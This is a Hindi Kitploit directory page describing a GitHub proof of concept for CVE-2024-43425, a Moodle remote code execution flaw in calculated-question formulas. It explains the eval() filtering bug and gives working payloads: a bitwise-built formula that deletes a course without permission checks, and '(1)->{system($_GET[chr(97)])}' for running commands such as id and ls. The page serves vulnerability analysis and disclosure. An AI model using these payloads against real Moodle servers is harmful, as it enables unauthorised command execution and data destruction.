Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
cve-2024-43425 — CVE-2024-43425 के लिए विस्तृत तकनीकी विश्लेषण और प्रूफ-ऑफ-कॉन्सेप्ट शोषण, गणना किए गए प्रश्न सूत्रों के माध्यम से Moodle रिमोट कोड निष्पादन भेद्यता, जिसमें मूल कारण और पुनरुत्पादन चरण शामिल हैं। | Kitploit
उपकरण/GitHubGitHub/tnot123/cve-2024-43425
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubtnot123/cve-2024-43425

cve-2024-43425

CVE-2024-43425 के लिए विस्तृत तकनीकी विश्लेषण और प्रूफ-ऑफ-कॉन्सेप्ट शोषण, गणना किए गए प्रश्न सूत्रों के माध्यम से Moodle रिमोट कोड निष्पादन भेद्यता, जिसमें मूल कारण और पुनरुत्पादन चरण शामिल हैं।

रिपॉजिटरी देखें
211 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2024-43425

फर्मवेयर जानकारी:

एप्लिकेशन का नाम: Moodle
बिल्ड संस्करण: moodle-4.4.1
प्रभावित संस्करण: 4.4 से 4.4.1, 4.3 से 4.3.5, 4.2 से 4.2.8, 4.1 से 4.1.11 और पिछले असमर्थित संस्करण
डाउनलोड लिंक: moodle-4.4.1

विवरण और प्रभाव

Moodle पाठ्यक्रम में प्रश्न बनाने या संशोधित करने की अनुमति वाले हमलावर गणना किए गए प्रश्नों के लिए दुर्भावनापूर्ण इनपुट डेटा बना सकते हैं, जिसका दुरुपयोग अंतर्निहित सिस्टम पर मनमानी कमांड निष्पादित करने के लिए किया जा सकता है।

मूल कारण

alt

qtype_calculated_find_formula_errors फ़ंक्शन Moodle में दर्ज सूत्रों की वैधता सुनिश्चित करने, सिंटैक्स त्रुटियों को रोकने में मदद करता है।

alt

चर को संख्या 1.0 से बदल दिया जाता है, सूत्र को लोअरकेस में बदल दिया जाता है और रिक्त स्थान हटा दिए जाते हैं।

alt

alt

मुख्य सत्यापन तर्क सूत्र के माध्यम से पुनरावृत्ति करके और सबसे बाएं आंतरिक गणितीय अभिव्यक्ति की पहचान करके किया जाता है, जिसे नेस्टेड कोष्ठक की कमी से पहचाना जा सकता है। फिर इस अभिव्यक्ति को 1.0 से बदल दिया जाता है।

alt

अंत में, जब रेगुलर एक्सप्रेशन कोई अतिरिक्त मैच नहीं लौटाता है, तो सूत्र को मान्य माना जाता है यदि इसमें केवल सुरक्षित ऑपरेटर या संख्याएं हों, मूल सूत्र को सीधे eval को भेजा जाता है।
परिणाम सत्यापन अपूर्ण फ़िल्टरिंग के बाद सूत्र को php eval() फ़ंक्शन में पास करके किया जाता है। सत्यापन तर्क प्रक्रिया को बायपास करने के लिए 2 दृष्टिकोण हैं:

  1. अनुमत गणितीय कार्यों की स्पष्ट सूची का उपयोग बिटवाइज़ संचालन का उपयोग करके मनमानी फ़ंक्शन नामों को स्ट्रिंग के रूप में बनाने के लिए किया जा सकता है, जिन्हें कोष्ठक द्वारा अनुसरण किए जाने पर चर फ़ंक्शन के रूप में कॉल किया जा सकता है। आवश्यक कोष्ठक जोड़ने का एकमात्र पहचाना गया तरीका अंतर्निहित चर प्रतिस्थापन का उपयोग करना है, जिससे हमलावर Moodle संदर्भ में परिभाषित मनमानी फ़ंक्शन को कॉल कर सकता है जबकि एक एकल संख्यात्मक तर्क पास करता है। फ़ंक्शन का आउटपुट हमलावर को बताया जाता है।

alt

चर प्लेसहोल्डर जैसे {a} को उनके मानों से बदलना () में लपेटा जाता है, यदि हम उपरोक्त अभिव्यक्ति में {a} जोड़ते हैं तो यह 'PRINTF' के अनुरूप होगा, परिणाम 'PRINTF'(1) होगा, इसलिए दो भागों के साथ एक उत्तर सूत्र परिभाषित किया जा सकता है: a (function_name) और a {variable}।
2) अपरिभाषित चर को eval() फंक्शन में पास करने से पहले प्रतिस्थापित नहीं किया जाता है, इसलिए वे सूत्र के भाग के रूप में अप्रभावित रहते हैं। इसके अलावा, चर नामों के लिए स्वच्छता जांच सूत्र के अन्य सभी भागों के लिए लागू जांच की तुलना में कम सख्त होती है। php object->{"member"} सिंटैक्स का उपयोग करते समय मनमानी फ़ंक्शन को कॉल करने के लिए इसका दुरुपयोग किया जा सकता है।

पुनरुत्पादन के चरण

एक चर के साथ एक गणना किया गया प्रश्न बनाएं, उदाहरण {a}

alt

प्रश्न सहेजें और चर के मान की सीमा को ठीक पाठ्यक्रम आईडी 3 के रूप में परिभाषित करें।

alt

प्रश्न सहेजें, फिर अभिव्यक्ति को संपादित करें:
((acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2)) ^ (8 . 4 . 2 . 8 . 8 . 3 . 4 . 0 . 0 . 0 . -1 . 3) ^ (2 . 0 . 0 . 3 . 0 . 0 . 0 . 0 . 0 . -8 . 1 . 0) ^ (0 . 0 . 0 . 0 . 0 . 0 . -2 . 1 . 4 . 6 . 0 . 0) ^ (0 . 0 . 0 . 0 . -8 . 8 . 0 . 0 . 2 . 0 . -8)){a}

alt

संशोधित प्रश्न को सहेजने पर त्रुटि होगी, लेकिन प्रश्न अभी भी सहेजा जाएगा। प्रश्न बैंक पर वापस जाएं और प्रश्न का पूर्वावलोकन करें, DELETE_COURSE फ़ंक्शन निर्दिष्ट आईडी वाले पाठ्यक्रम को हटा देगा, किसी भी अनुमति जांच को छोड़ देगा।

alt

alt

दूरस्थ कोड निष्पादन

एक गणना किया गया प्रश्न बनाएं। उत्तर सूत्र सेट करें:
(1)->{system($_GET[chr(97)])}

alt

अभिव्यक्ति को 1-0-system($_GET{chr(97)}) में संशोधित किया गया है।

alt

अनुरोध को इंटरसेप्ट करें और इसे वापस (1)->{system($_GET[chr(97)])} में संशोधित करें। %281%29-%3E%7Bsystem%28%24_GET%5Bchr%2897%29%5D%29%7D

alt

त्रुटि प्रकट होती है: exception-system():Argument#1($command) खाली नहीं हो सकता।

alt

URL में &a=[मनमानी कमांड] जोड़कर वांछित कमांड प्रदान करें। निर्दिष्ट सिस्टम कमांड का आउटपुट परिणामी HTTP प्रतिक्रिया के शीर्ष में शामिल किया जाएगा।
A=id

alt

A=ls

alt

सिफारिशें

qtype_calculated_find_formula_errors फ़ंक्शन को ठीक करें ताकि /question/type/calculated/questiontype.php हमेशा गलत मान लौटाए यदि गणना किए गए प्रश्नों का उपयोग नहीं किया जाता है।

टूल डाउनलोड करें